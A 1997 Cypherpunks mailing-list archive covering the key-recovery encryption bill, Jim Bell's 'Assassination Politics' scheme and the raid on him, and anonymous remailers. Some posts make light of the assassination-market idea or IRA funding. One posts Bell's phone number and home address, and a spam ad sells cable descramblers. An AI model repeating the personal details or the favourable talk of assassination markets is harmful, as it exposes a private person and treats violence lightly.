enforcement to get encryption keys than to tap phones, which requires a warrant or court order. The administration does not just face domestic opposition to its proposed policy. The international community, represented by the 29-nation Organization for Economic Cooperation and Development (OECD), also has not rallied behind the Clinton cause. After a year of study and intense lobbying by the U.S. Justice Department, the OECD, based in Brussels, Belgium, last week released the ``Cryptography Policy Guidelines,'' an eight-point document that recognizes nations may want to have access to cryptographic keys or un-scrambled plaintext. But the OECD guidelines fall far short of recommending key recovery as the preferred international approach. Some participants in the OECD crypto-policy effort were pleased with its outcome, including Marc Rotenberg, director of the Electronic Privacy Information Center here. ``There's a strong emphasis here on privacy and voluntary market guidelines,'' Rotenberg said. The OECD guidelines state that users should have a choice in cryptography, that cryptography should be driven by business requirements, and that the privacy of personal data and the secrecy of communications should be respected. Congressional cold shoulder So far, no legislators on Capitol Hill have embraced the ideas in the administration-drafted legislation, the Electronic Data Security Act of 1997, which also calls for nationally certified key-recovery centers for storing copies of encryption keys. ``From our point of view, it's a breathtaking expansion of law enforcement's surveillance au-thority,'' said Alan Davidson, staff counsel at the Washington, D.C.-based Center for Democracy and Technology (CDT) about the draft bill. The CDT has posted the bill on its Web site, www.cdt.org. Commerce Department Un-der Secretary William Reinsch, whose office took the lead in drafting the bill, last week had no comment. The draft bill emphasizes that the key-recovery regulation is voluntary in the U.S., but opponents argue otherwise. The White House draft defines as the federal standard only digital certificates that work with key-recovery encryption products. And under the drafted bill, employees working in a government-certified key-recovery center would be spared any civil or criminal liabilities for disclosing decrypted information to a government agency. Through the economic in-centives and regulatory impact of the Clinton administration bill, ``they plan to severely limit [the products] you can choose from,'' according to Jim Bidzos, president of RSA Data Security, Inc., whose public-key technology is widely deployed in encryption products. ``The intent is to discourage the use of strong, unescrowed encryption in the U. S.'' [Copyright 1997, Network World] From toto at sk.sympatico.ca Fri Apr 4 13:26:27 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 4 Apr 1997 13:26:27 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <5i3942$e76@life.ai.mit.edu> Message-ID: <334565C3.6374@sk.sympatico.ca> paul at fatmans.demon.co.uk pissed off Hallam-Baker to the extent that gave up all pretense hiding his support for a New World Order, and wrote: > I have degrees in Nuclear Physics, Electronic Engineering, I have > been offered a contract for my book on the philosophy of > communication. ...so the rest of us are just dirt under your feet? > I don't believe that people > are fit judges of their own cause as Bell and you do. So we should only fight for other people's causes, and not our own? Or not fight at all? It sounds to me like Jim Bell isn't the only one on the list with his own drug lab. Did you bring enough for everybody, Phill? > Who decides what "innocent" was? > Bells plan would lead to murder of innocent people. Well, I guess that now we know *who* decides. Send me a list of the "innocent" people, Phill, and I'll put them in the blocking list on my AP-Bot. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Fri Apr 4 13:42:38 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 4 Apr 1997 13:42:38 -0800 (PST) Subject: US Domestic GAK In-Reply-To: <334571A3.3B05@ix.netcom.com> Message-ID: <334575BC.4233@sk.sympatico.ca> Steve wrote: > Has Anyone heard about this????? > Clinton administration has new encryption proposal > Network World via Individual Inc. : Washington, D.C. > Now in its first formal legislative document...that law > enforcement be given access to that data > based on a simple request from a law enforcement or ^^^^^^^^^^^^^^^^^^^^^^^^^ > government security agency. I think most list members heard about this by sticking their wet finger in the wind, long before the offical words were spoken. Anyone surprised by the news needs to spank themselves. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From webmaster at sldc.ffg.com Fri Apr 4 14:04:08 1997 From: webmaster at sldc.ffg.com (ForeFront) Date: Fri, 4 Apr 1997 14:04:08 -0800 (PST) Subject: News from the Front Message-ID: ----------------------------------------------------------------------- F O R E F R O N T - Taking the Chaos out of the Internet http://www.ffg.com Mailing List 3/31/97 ----------------------------------------------------------------------- Contents: I. News from the 'Front II. Tip o' the Day III. To the Front of the Class ----------------------------------------------------------------------- I. News from the Front Newsflash! ForeFront Launches Dynamic Duo, WebWhacker 3.0 and WebSeeker 3.0! WebWhacker, voted best offline browser by Internet World, has just leapfrogged the competition yet again! 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Simply click Microsoft Internet Explorer's "search" button; *Faster Phrase searching; *Ability to drag and drop search results onto the desktop or to a printer. *Substring matching, so a search for CAT also retrieves CATS Check out the informative press releases at: http://www.ffg.com/press/ww3press.html http://www.ffg.com/press/ws3press.html Download evaluation copies of the these new versions of ForeFront's industry leading Internet applications at: http://www.ffg.com/seeker/ http://www.ffg.com/whacker/ If you can't wait to own these valuable Internet tools now, visit: http://www.ffg.com/storefront.html ----------------------------------------------------------------------- II. Tip o' the Day Faster 'Seeker If you have a fast connection, such as a fractional T1 or faster, you can dramatically decrease the amount of time a search takes by increasing the number of simultaneous connections. We suggest increasing the number of simultaneous connections to 25 or 35. Experiment with more... (You can always decrease the number of connections) Steps: 1. Click Tools/Preferences 2. Select the Network tab (or in Version 3.0, Search Limits) 3. Change the number of Simultaneous Connections 4. Click OK ----------------------------------------------------------------------- III. To the Front of the Class Bring Web excitement to the head of your class - even if you don�t have an Internet connection! ForeFront�s WebSeeker, WebWhacker, WebPrinter and ClickBook make utilizing the Internet a snap. Used by over 800 schools and universities world-wide, ForeFront�s products are empowering teachers to find, collect and share the vast wealth of knowledge available on the Internet. Let ForeFront bring the Internet into your classroom by visiting: http://www.ffg.com/edu/edu.html ----------------------------------------------------------------------- If you wish to unsubscribe from the ForeFront mailing list, please send mail to nonews at sldc.ffg.com or go to http://www.ffg.com/press/ From mctaylor at mta.ca Fri Apr 4 14:21:32 1997 From: mctaylor at mta.ca (Michael C Taylor) Date: Fri, 4 Apr 1997 14:21:32 -0800 (PST) Subject: Anonymous Mailing Lists In-Reply-To: <3345308A.6DC3@sk.sympatico.ca> Message-ID: On Fri, 4 Apr 1997, Toto wrote: > If a list operator can program a remailer to send only to their > own list, then they can make it a subscriber and allow people who > fear being discovered to post their concerns through it anonymously, > and advertise its existence in places where those most likely to > need it will find out about the service. Is there a combo-solution existing, an self-anonymouizing mailing list? That is, you send the message to the list as normal listname at myhost.com, it strips the From: headers and other headers, and forwards it to a closed mailing list (only members can post, disabled 'who', ...). Please CC to me any remailer-operator only followups. -- Michael C. Taylor Programmer, Mount Allison University, Canada From midwest at internetmedia.com Fri Apr 4 14:35:12 1997 From: midwest at internetmedia.com (Mid West Electronics) Date: Fri, 4 Apr 1997 14:35:12 -0800 (PST) Subject: Save Money...Own your own Cable Descrambler! Message-ID: Don't let your cable company force you to pay OUTRAGEOUS equipment costs to receive basic/premium channels. We are Midwest Electronics, Inc. America's LARGEST PROVIDER of cable converters and descramblers and we feel you shouldn't have to pay TOO MUCH any more! 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If are unable to take advantage of our offer at this time, but would like to receive our FREE CATALOG reply to us via e-mail at cableus at internetmedia.com with your mailing name or visit our WEBSITE at: http://www.midwestcable.com More about us: * 30-Day Money Back Guarantee! * We Service What We Sell! * Personal Assistance Hotline! Note: No sales to TIME-WARNER or PARAGON cable franchise areas. ------------------------------------------------------------------------- If you would like to continue receiving updates on prices and other information from Midwest Electronics you may REPLY and type SUBSCRIBE in the SUBJECT line. Otherwise, your address will be promptly removed from our lists and no further attempts will be made to contact you. ------------------------------------------------------------------------- From hallam at ai.mit.edu Fri Apr 4 14:42:58 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Fri, 4 Apr 1997 14:42:58 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats Message-ID: <01BC4120.2E4A9550@crecy.ai.mit.edu> >paul at fatmans.demon.co.uk pissed off Hallam-Baker to the >extent that gave up all pretense hiding his support for >a New World Order, and wrote: Yeah, like I wrote in "The Laird of the new world order". ... They said they worked for freedom but they had another plan. The only new world order is, obey your Uncle Sam. Must be in deep, deep cover. >> I have degrees in Nuclear Physics, Electronic Engineering, I have >> been offered a contract for my book on the philosophy of >> communication. > ...so the rest of us are just dirt under your feet? I was pointing out that the attempt to claim that the rest of us poor slobs didn't see Jim Bell as a shining Messiah was not because we were too stupid to understand him as claimed. >> I don't believe that people >> are fit judges of their own cause as Bell and you do. > So we should only fight for other people's causes, and not >our own? Or not fight at all? I think that before you murder someone because you think they are wrong you need to at the very least put the matter to an impartial arbitrator. Phill From toto at sk.sympatico.ca Fri Apr 4 16:09:21 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 4 Apr 1997 16:09:21 -0800 (PST) Subject: Anonymous Mailing Lists In-Reply-To: Message-ID: <33459704.3F09@sk.sympatico.ca> Michael C Taylor wrote: > On Fri, 4 Apr 1997, Toto wrote: > > > If a list operator can program a remailer to send only to their > > own list, then they can make it a subscriber and allow people who > > fear being discovered to post their concerns through it anonymously, > > and advertise its existence in places where those most likely to > > need it will find out about the service. > > Is there a combo-solution existing, an self-anonymouizing mailing list? > That is, you send the message to the list as normal listname at myhost.com, > it strips the From: headers and other headers, and forwards it to a closed > mailing list (only members can post, disabled 'who', ...). I'm not certain, being far from an expert on remailers and majordomos. I've had one person indicate that majordomos could be configured to keep all users anonymous, but didn't know if it could be done selectively in the case of anonymous remailers. He is supposed to get back to me on it. I have been experimenting with Windows remailers, but haven't found any that allow one to specify only a single, or group of, Mail To: addresses. I made an offer to a friend to attempt to find an anonymizing solution for a group of related health lists, so that their subscribers would feel free to discuss extremely personal issues of great concern. Also, there is the issue of health providers cruising the list to find personal information which they can use to drop coverage for those they deem to be a potential financial burden to their company. They have a need to keep their lists closed except to subscribers in order to block total assholes who do things like sending posts to suicidal people telling them to kill themselves, etc. A privately run remailer would allow the moderator to instantly block anonymous access to an individual who harasses list members, or the group as a whole. (People with disabilities tend to get enough crapola out in the normal world, without needing to get it in a health support forum.) I haven't had a chance to delve into the problem too deeply, as of yet, so any suggestions or pointers would be appreciated. I think that this is a situation which addresses the legitimate use of anonymous remailers that many remailer operators would consider to be the type of benefit that they are trying to promote in giving their time and effort to providing anonymous remailer services. It certainly wouldn't harm the cause of anonymous remailers to have a few positive examples of the good results that can come from providing anonymous email capabilities. > Please CC to me any remailer-operator only followups. > -- > Michael C. Taylor > Programmer, Mount Allison University, Canada -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From hallam at ai.mit.edu Fri Apr 4 16:16:34 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Fri, 4 Apr 1997 16:16:34 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats Message-ID: <01BC412D.6B3C02C0@crecy.ai.mit.edu> Timothy C. May wrote in article <5i3tpu$86h at life.ai.mit.edu>... > At 1:51 PM -0600 4/4/97, null at myemail.net wrote: > > > Horseshit. Anybody here ever hear of the Boston Tea Party? How > >about the American Revolution? War of Independece? French Revolution? > > You know, people who said "Fuck this shit, I've had enough." People > >who acted in concert to fight injustice and oppression. If you care to read the history of the times from unbiased sources you will find that the Boston patriots main gripe with Britain was not the tax on tea but the insistence of the British authorities on negotiating with the Sioux nation amongst others. It was the fear that the British would sign a peace treaty with the Indians recognising them as a sovereign nation that was the spark to the flame. Try reading "Lies my teacher told me" sometime. Given that the American revolution institutionalised slavery and lead to the theft of Indian land, and the French revolution the murder of about quarter of a million people they cannot be said to be entirely laudatory events. The national myths of the countries concerned nothwithstanding. People are not fit judges of their own cause. The civil war was started by the South who believed that the North might infringe their "right" to own others as property. > Note that I've never called for a witch hunt, nor have I called for his > posts to be censored out of the list. I chose a long time ago to filter > Jim's stuff into my appropriate folder for such stuff, and occasionally > took him out of the filter when he seemed (from occasional checks on what I > was filtering), to be discussing things other than his "Klaatu Narada > Nictoo" (or whatever) Final Solution. Same for me. I objected to Bell's AP proposal but not to his _right_ to post it. It was the tedious length at which he bored the rest of us with it that I objected to. Last I heard the Feds were concerned that he might have been putting AP into effect. Collecting the names and addresses of IRS officials, setting up a kangeroo court to try them, sending them demands, those sound like actions Bell would have serious difficulty in doing without giving someone reasonable cause to believe they were being targetted for murder. Phill From dlv at bwalk.dm.com Fri Apr 4 16:22:31 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 4 Apr 1997 16:22:31 -0800 (PST) Subject: Cryptographer Hits SNL In-Reply-To: <1.5.4.32.19970404172850.006d5714@pop.pipeline.com> Message-ID: John Young writes: > Ex-Sandia Labs cryptographer William Payne has filed criminal > charges with Judge Marilyn Patel against an SNL official for > unauthorized disclosure of files: > > http://jya.com/snlhit.htm > > Bill Payne is a very interestin guy. If anyone figures out a polynomial-time factorization algorithm using shift registers, it would probably be Bill Payne. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri Apr 4 16:27:56 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 4 Apr 1997 16:27:56 -0800 (PST) Subject: I hope thr IRA nails Hallam-Baker... In-Reply-To: <19970404124803.38657@bywater.songbird.com> Message-ID: Kent Crispin writes: > On Fri, Apr 04, 1997 at 01:41:38PM -0500, John Young wrote: > > On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP: > [...] > > > Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not > > closer to Jim Bell than he is to you in challenging the arrogant mullahs > > of highly sophisticated armed thuggery. Who you shillinging for these > > days, Crispin's bandits of the NLs? > > Crispin shills for himself, not the NLs or any bandits or anyone else. > Phil Hallam-Baker shills for Phil Hallam-Baker. Jim Bell's advocacy > of armed thuggery speaks for itself. > > -- > Kent Crispin "No reason to get excited", > kent at songbird.com the thief he kindly spoke... > PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 > http://songbird.com/kent/pgp_key.html I just noticed how when I first called Cocksucker John Gilmore an NSA shill (which he is), some people didnb't know what the fuck it was, but now everyone's accusing everyone else of shilling. How can one donate money to rthe IRA anyway? Hallam baker convinced me to. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri Apr 4 16:28:02 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 4 Apr 1997 16:28:02 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <860166103.1027983.0@fatmans.demon.co.uk> Message-ID: paul at fatmans.demon.co.uk writes: > > > Jim is hardly the ideal poster boy for a free speech cause, but we should > > not distance ourselves from him when he runs into problems directly > > related to his advocacy of anonymous markets. That cuts too closely > > for comfort. We should defend Jim's right to discuss AP and any other > > institutions which may arise as a natural consequence of the capabilities > > engendered by cryptography. That is one of the main things this list is > > for. If they can silence Jim, it's going to be just a matter of time befor > > they go after someone else. > > I really cannot understand the posts I have been reading to the > effect that Jim Bell is a "loon" or a "terrorist" etc... > If we do not protect the freedom of expression of the loons, fuckups, > terrorists and Bells of this world it will be our freedom that is > threatened next. As far as I know, anyway, Jim`s AP essay (the > original plan overview) was perfectly sane and discussed the problems > of people using it to commit crime by killing an innocent person as > well as the advantagest of the plan. > I will allow that some of his subsequent posts have been a little > "loon" like but I have never considered him to be a foaming at the > mouth madman as some do. Someone said: "popular speech does not need protection". --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri Apr 4 16:30:11 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 4 Apr 1997 16:30:11 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <33453A2A.167E@ai.mit.edu> Message-ID: Hallam-Baker writes: > Timothy C. May wrote: > > > > At 3:17 PM -0800 4/3/97, Anil Das wrote: > > Gee. I too wonder about that, since I am pretty > > >sure the Feds don't have to time to read the cypherpunks > > >list. > > > > This is simply not true. Various government agencies/employees read the > > Cypherpunks list. > > Absolutely! I know quite a few who do. > > Before Oaklahoma I spent some time trying to persuade people to take > notice of the net.activities of the likes of Ahmed Cosar, an agent > of the Turkish secret service who posted inflamatory material about > Armenia into various newsgroups under the name Hasan B. Mutlu and > Serdar Argic. I'd guess that at this point the FBI has its own > version of DejaNews. Of course, everything Serdar Argic posted to Usenet was 100% documented truth. The FBI would be better advised to look a close look at the terrorist activity of one Ray "Arsen" Arachelian, an ASALA sympathizer in the employ of Earthweb, LLP. > > Its not hard to do analysis of USEnet, a bit of simple graph > analysis. The real loons tend to turn up on the net.kooks > list quites quickly in any case. > > > > This is not a matter of thinking ourselves self-important; this is just a > > simple observation that there aren't a lot of places with more incisive > > analysis of issues of importance to these folks. > > Plus not everyone in the agencies are pro the administration line. > I've met plenty of CIA and NSA people who think the GAK idea a > pointless and futile waste of time. > > I suspect that most analysts read c'punks for the same reason I > do, to get the widest possible range of views on what the posibilities > for the future are. > > > > Political advocacy is one thing, but making threats, even veiled ones, is > > another matter. > > Absolutely, that is why I was keen for people to oppose Bell's views. > If his ramblings had gone unchallenged he would now be being > presented as a representative of Cypherpunk/ pro-crypto views. > > Besides anything else Bell was like the party bore with a > hobby horse he just has to talk about. I'm somewhat more > sensitive than most to advocates of murdering government > officials, some of my relatives are in government and have > had well publicised assasination attempts against them. > > > I think that Bell's on-list comments may well have been protected > speech but I'm not sure about his off list comments. I'm scanning > through my old mail files at the moment for missives from Bell > re-reading them. > > I think that Bell's posts were entirely different from Tim's or > for that matter almost every other person on the list. Tim > demonstrated that a covert information sales organisation was > possible with Blacknet but he never advocated setting it up. > Indeed part of the point was the ethical responsibilities. Bell > on the other hand was likely to respond to any post with his > AP piece. I have throughout considered these to be incitement to > murder. > > > It seems quite likely that Bell may have made a statement to an > IRS official that in the context of his authoring the AP piece > may have constituted a threat. If he spouted "Common law court" > theories as often to the IRS as he did AP on cypherpunks he would > certainly have been marked for scrutiny. Its not hard to > connect with his AP piece which has been all over USEnet. According > to the story they got it from a copy left behind in Bell's > seized Honda. > > > Phill --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From hallam at ai.mit.edu Fri Apr 4 16:36:24 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Fri, 4 Apr 1997 16:36:24 -0800 (PST) Subject: Hallam-Baker is willing to testify Message-ID: <01BC412D.69723F40@crecy.ai.mit.edu> null at myemail.net wrote in article <5i3vrt$aad at life.ai.mit.edu>... > > Hallam-Baker, pissing all over his own train of logic, wrote: > > I will not only refuse to support Bell, I'll testify against him in > > court if asked. > > What are you going to testify to? He sent me a considerable amount of material in private email. Anonynous insults do not impress me. > To Bell's scheme not being a threat to anybody because it would > never work? That it is nothing more than a theoretical exercise > which does not present a danger to a single soul? I don't think it was a theoretical exercise. I think Jim scrambled his brain with a dodgy dose of amphetamines or similar. His posts sounded to me like the work of someone with a personality disorder who was working his way up to psychopath. >That it is > preposterous of the government to prosecute someone on the basis > of a pie-in-the-sky, preposterous idea? It may sound loony to you but I have no doubt that Jim believed what he wrote and intended others to act on it. I'm not sure that he acted on it himself but I would not be at all suprised. Phill From nobody at huge.cajones.com Fri Apr 4 16:53:26 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 4 Apr 1997 16:53:26 -0800 (PST) Subject: Tim May badmouths anonymity. Message-ID: <199704050053.QAA11133@fat.doobie.com> Timothy C. May wrote: > > This kind of ad hominem is to be expected from someone hiding behind > anonymity. What a hypocrytical crock of shit. Are you concerned that your pal, Hallam-Baker, won't be able to "testify" against me when the Feds kick in my door as a supporter of Jim Bell? > This message is clear-signed as being > from "TruthMonger," but, in fact, it could be from anyone. TruthMonger is a multi-user Net persona, meant to be used for that very reason. It is handy for lessening the ability of others to refuse to deal with presented facts and logic, instead choosing to attempt refuting opinions through grand pronouncements as to the writer's position in an imaginary elitist reputation capital scheme. > If it is from > the entity TruthMonger, and he wishes to have a persistent net personna, he > ought to look into PGP-signing his remailed messages, or using a nym > account. I have a persistent net persona. It's in your killfile. > And as for my views causing the tanks to roll through Poland, etc., this is > "magical thinking" at its worst. * {* DisinfoTranslation Technique (c) Greg Broiles} Either get your head out of your butt and learn to accurately read and/or interpret the statements of others, or get a job at C2Net. > > So, Tim and Phill, which one of you wants to step up to the plate > >and be the first one to attempt to ostracize him so that his views > >about the need for anonymous communications will not be taken as > >representative of the cypherpunks views? > > Fatuous nonsense. I'm not sure what "TruthMonger" means by "ostracize." There seems to be a tendency by some on the list to dismiss the posts of others by labeling them a 'loon' or somesuch derogatory term, rather than addressing their logic and message, per se. The fact that Bell tends to beat the AP drum ceaselessly may make his repetiveness boring, but in no way makes his system less valid than more mainstream methodologies. There is hardly anyone on the list whose missives don't occassionally skip like a broken record, but they are not labeled lunatics as long as they stay in the middle of the road. (You might say that Bell has a "persistent net persona.") TruthMonger From toto at sk.sympatico.ca Fri Apr 4 17:05:19 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 4 Apr 1997 17:05:19 -0800 (PST) Subject: The Laird In-Reply-To: <01BC4120.30527340@crecy.ai.mit.edu> Message-ID: <3345A39E.573D@sk.sympatico.ca> Phillip M. Hallam-Baker wrote: > > >paul at fatmans.demon.co.uk pissed off Hallam-Baker to the > >extent that gave up all pretense hiding his support for > >a New World Order, and wrote: > > Yeah, like I wrote in "The Laird of the new world order". > ... > They said they worked for freedom but they had another plan. > The only new world order is, obey your Uncle Sam. I would like to see the complete work, if you have it available online. > Must be in deep, deep cover. I'm a conspiracy theorist. Any particular Crayola colour you would like me to use to draw the links between yourself and the Cabal? > I was pointing out that the attempt to claim that the rest of > us poor slobs didn't see Jim Bell as a shining Messiah was > not because we were too stupid to understand him as claimed. I once recorded a tune called, "He used to take acid, and now he's found God, but he's still got that look in his eye." I can't deny that Jim Bell seems to have "that look" in his eye. > >> I don't believe that people > >> are fit judges of their own cause as Bell and you do. > > > So we should only fight for other people's causes, and not > >our own? Or not fight at all? > > I think that before you murder someone because you think they > are wrong you need to at the very least put the matter to an impartial > arbitrator. I believe that the AP system pretty much spreads out the "arbitration" in much the same manner that the electoral system does. To me, it is similar to the inter-family dynamics that take place in Dr. Kevorkian's work, only on a more pervasive scale. I have always seen Jim Bell's work as a theoretical exercise that deserved a more serious analysis than he, himself, gave it. It pushed the envelope of issues that need to be dealt with, and did so in a manner that went beyond seemingly mundane matters wherein one could easily dismiss the long-term consequences of the train of logic involved. An analogy might be made to those who dismiss a little ass- grabbing as inconsequential when compared to rape, as opposed to those who view it as a precursor to rape. Despite my sometimes caustic, irreverent demeanor, I enjoy your posts, as they show a thoughtfulness which goes beyond some of the "Oh yeah! Sez who! Yo' mamma!" threads that sometimes prevail on various lists. So, don't change on my account, I hate you just the way you are. (Please note my aversion to adding little 'happy faces' to my posts. Humor be humor.) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Fri Apr 4 17:05:42 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 4 Apr 1997 17:05:42 -0800 (PST) Subject: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.) In-Reply-To: Message-ID: <3345A473.72C5@sk.sympatico.ca> Lloyd E Briggs wrote: > > I would like to be removed from this mailing list please Send your request to jimbell at pacifier.com. He has a system that deals with these kinds of requests. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From jya at pipeline.com Fri Apr 4 17:13:22 1997 From: jya at pipeline.com (John Young) Date: Fri, 4 Apr 1997 17:13:22 -0800 (PST) Subject: Jim Bell raid Message-ID: <1.5.4.32.19970405010511.006f39f4@pop.pipeline.com> I asked Jim last night if he wanted any of the documents associated with the raid published and he said not yet: That the local papers were publishing selected parts to inflame reader lust. That the feds had set it all in motion with lurid affidavits, with press invitation, with paraded troops and battle armaments to fit the show and tell tinhorn war gamers seeking more funding -- tax time at hand. He seems bemused that his script was followed so dutifully for Act 1. And awaits the next acts, instigated not only by his taunts but by the national campaign to divert attention from TLA/LEA snafus. In this spirit, for a truly homicidal, bloodstirring script read the National Defense Authorization Act for 1998: http://jya.com/nda98.txt Now that's Assassination Politics to feed the lust of the best and brightest of all nations, if not that of a few of the overmuch AP protestors here. Jim's telephone number: 1-360-686-3911 For a reality check compare Jim to the world's presidents, parliaments, high-tech industrialists, spies and media infowar gamers trying valiantly to alarm the Disney-narcotized citizenry. From ravage at einstein.ssz.com Fri Apr 4 17:20:15 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 4 Apr 1997 17:20:15 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats (fwd) Message-ID: <199704050125.TAA11786@einstein.ssz.com> Forwarded message: > Date: Fri, 4 Apr 1997 16:36:54 -0800 > From: "Timothy C. May" > Subject: Re: Feds reading this list, Jim Bell, and threats > of people through AP--I don't find it at all surprising that an > investigation, involving search warrants, happened. > > Whether he gets charged, let alone convicted, and his conviction is upheld, > is a different set of issues. I have a problem with this process, it denies due process to the accussed. This should be the issue of concern with Jim Bell, mainly the fact that his property was taken on a warrant issued on oath of probable cause. If you have enough evidence ("I think he is dangerous judge" is not evidence except to a fool) to produce a search warrant then you should have to explain the results of that warrant to a judge and that means the accussed has a right to be there and have a say. Since his property was taken for public use, protection of public officials, then those agencies should pay him for the property and the relative worth of the work on it OR do what Constitutionaly is correct. This is mainly at the point of delivering the search warrant a notice of appearance before a court should be presented to answer those charges. He has a right to face his accusers FROM THE VERY BEGINNING OF THE CASE as well as legal council by public appointment if required. Under the current conditions Jim Bell is being forced to testify against himself (some argue that this is not so, if that is true why then are we 'secure in our property and papers'?) and has been denied the right to legal council, as well as facing his accusers in a court. If this sort of check and balance is not in place then we get law enforcement confiscating property without charges being filed and hence no legal issues for the accussed to defend. This could be used to shutdown a newspaper (for example) because of articles that it printed. It nearly put Steve Jackson out of business. This is what you should be pissed off about. Jim Bell, as we all do, carry our own crosses. The issue is not whether Jim Bell committed a crime but rather did the law enforcement agencies follow the Constitution they swore to uphold. Let's see, I believe the courts say that a 72 hour stay in jail without charges being filed is the limit for habeas corpus. How about the accussed has to appear before the judge along with the police within 72 hours. At that point charges could be filed, charges dropped, payment for property, or return of property could be handled. If the defendant doesn't appear then a bench warrant can be issued on the premise that an attempt to flea is in process. If the police don't show or can't produce a good enough argument the charges get dropped and property returned along with reimbursment for any damages to the property or losses incurred by its confiscation (the money should come from the polic budget). If the police refuse to act then a Writ of Habeas Corpus could be issues demanding the return of the property to the possession of the court or face criminal action. Police in a democracy should be conservative in action. Bet you EFF don't do this one for free. "Oh my god, an ex-drug dealer..." instead of "Oh my god, a poor game publisher...". Fucking hypocrites. Jim Choate CyberTects ravage at ssz.com From jya at pipeline.com Fri Apr 4 17:46:03 1997 From: jya at pipeline.com (John Young) Date: Fri, 4 Apr 1997 17:46:03 -0800 (PST) Subject: Bell's Phone Number Message-ID: <1.5.4.32.19970405013753.00875e58@pop.pipeline.com> Correction for Jim Bell's telephone number: 1-360-696-3911 It's available via Information, assisted by the original story: "James D. Bell, who reportedly lives with his elderly parents at the home at 7214 Corregidor Road Vancouver, WA." From toto at sk.sympatico.ca Fri Apr 4 17:49:15 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 4 Apr 1997 17:49:15 -0800 (PST) Subject: Jim Bell raid In-Reply-To: <1.5.4.32.19970405010511.006f39f4@pop.pipeline.com> Message-ID: <3345AFD0.7E67@sk.sympatico.ca> John Young, checking his sources, as usual wrote: > > I asked Jim last night if he wanted any of the documents associated > with the raid published and he said not yet: > That the feds had set it all in motion with lurid affidavits, with press > invitation, with paraded troops and battle armaments to fit the show > and tell tinhorn war gamers seeking more funding -- tax time at hand. > > He seems bemused that his script was followed so dutifully for Act 1. > And awaits the next acts, instigated not only by his taunts but by > the national campaign to divert attention from TLA/LEA snafus. When I was running a nude club in Bell County, Texas, the local paper carried a small item about how the Sheriff would soon announce his bid for re-election. The next day, the constabulary raided my club, complete with press, camera crews, etc. The following day, beneath the press report on the raid, was another press report detailing the Sheriff's announcement of his bid for re-election. I eventually left Bell County, but David Koresh moved in to fill the void, apparently so that elected law enforcement officials would not lack for bodies to lay on the scales of electoral justice. > Jim's telephone number: 1-360-686-3911 > For a reality check compare Jim to the world's presidents, parliaments, > high-tech industrialists, spies and media infowar gamers trying valiantly > to alarm the Disney-narcotized citizenry. Chasing the Disney Dragon is one way to become comfortably numb. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From jya at pipeline.com Fri Apr 4 17:58:48 1997 From: jya at pipeline.com (John Young) Date: Fri, 4 Apr 1997 17:58:48 -0800 (PST) Subject: NDA98 URL Message-ID: <1.5.4.32.19970405015039.006f46b0@pop.pipeline.com> The correct URL for the National Defense Authorization for FY1998 is: http://jya.com/nda98.htm (176K) From gbroiles at c2.net Fri Apr 4 17:59:28 1997 From: gbroiles at c2.net (Greg Broiles) Date: Fri, 4 Apr 1997 17:59:28 -0800 (PST) Subject: Jim Bell warrant, affidavit, return Message-ID: <3.0.1.32.19970404172817.008b7920@gabber.c2.net> This is the way to get copies of court filings in far-away places: Call the court. Tell the person who answers the phone that you want to get a copy of pleadings (or whatever it is you want a copy of) filed in a particular case, giving them as much information as you have about the case. When you're looking for a search warrant, that information will usually be the address of the property searched and the date/time that the search began. In other cases, it's the case number/file number, (or, more annoying for the clerk, the name of the plaintiff and/or defendant). If the clerk can find the file based on the information you had, and the contents aren't sealed, they'll give you the name/phone number of a messenger service or copy service who will pick up copies from the court and then FAX or mail them to you. They usually charge somewhere in the neighborhood of $1 per page plus costs (like postage or phone) for this service. In Jim's case, the copy service's phone number is 206-383-1791. I received FAX copies of the search warrant, supporting affidavit, and return/inventory today. They're billing me for the charges incurred, which I expect will be in the neighborhood of 